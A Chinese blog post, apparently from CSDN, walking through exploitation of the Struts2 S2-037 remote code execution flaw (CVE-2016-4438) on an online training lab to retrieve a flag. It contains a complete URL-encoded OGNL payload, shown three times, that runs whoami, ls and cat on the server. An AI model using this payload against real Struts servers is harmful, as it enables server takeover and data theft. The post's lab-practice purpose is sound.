渗透测试-Struts2远程代码执行漏洞

漏洞描述

【漏洞概述】

Apache Struts 2是世界上最流行的Java Web服务器框架之一。Apache Struts2在使用REST插件的情况下,攻击者使用REST调用恶意表达式可以远程执行代码。

该漏洞编号为CVE-2016-4438,目前命名为S2-037。黑客可以利用漏洞直接执行任意代码,绕过文件限制,上传文件,执行远程命令,控制服务器,直接盗取用户的所有资料,该漏洞广泛影响所有struts版本。

【漏洞原理】

Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。

虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。漏洞建立在033的基础上,还是对method没有进行过滤导致的,但是033的payload的要做转变才能检测 ( 启用动态调用方法为true ;支持rest插件 )

【rest介绍】

使用 http://localhost:8080/bee/action-name/1/XXX 这种请求方式,其实XXX可以是任何合法的名字。 Struts2会查找XXX为名字的方法来调用,比如请求 http://localhost:8080/bee/test/1/abc ,那么TestAction的public String abc()就会被调用 。

攻击过程

墨者学院在线靶机:https://www.mozhe.cn/bug/detail/MmZVaC9DQ2VNeGVtOGRoSVFUcHlwQT09bW96aGUmozhe
在这里插入图片描述访问目标连接:
在这里插入图片描述【获取Key方式1】

直接把网站URL放进Struts2漏洞检查工具检验漏洞:
在这里插入图片描述得知有漏洞后,我们可以开始命令执行,在漏洞编号处选择刚才扫描出来的漏洞编号。输入ls命令,可以看到所有的文件。
在这里插入图片描述
其中看到了key.txt文件。于是我们再输入cat key.txt命令查看该文件内容,得到了本题的key(mozhe2415c7fe10e11323e289c4768bf)。
在这里插入图片描述【获取Key方式2】

利用S2-037漏洞的特点,直接构造POC:

(1)查看当前用户,验证漏洞:

orders/5/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=whoami
在这里插入图片描述
(2)ls命令查看当前目录下的文件:

orders/5/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls
在这里插入图片描述(3)最后获得key的payload:

orders/5/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=cat key.txt
在这里插入图片描述

发布了117 篇原创文章 · 获赞 84 · 访问量 9万+

猜你喜欢

转载自blog.csdn.net/weixin_39190897/article/details/99127182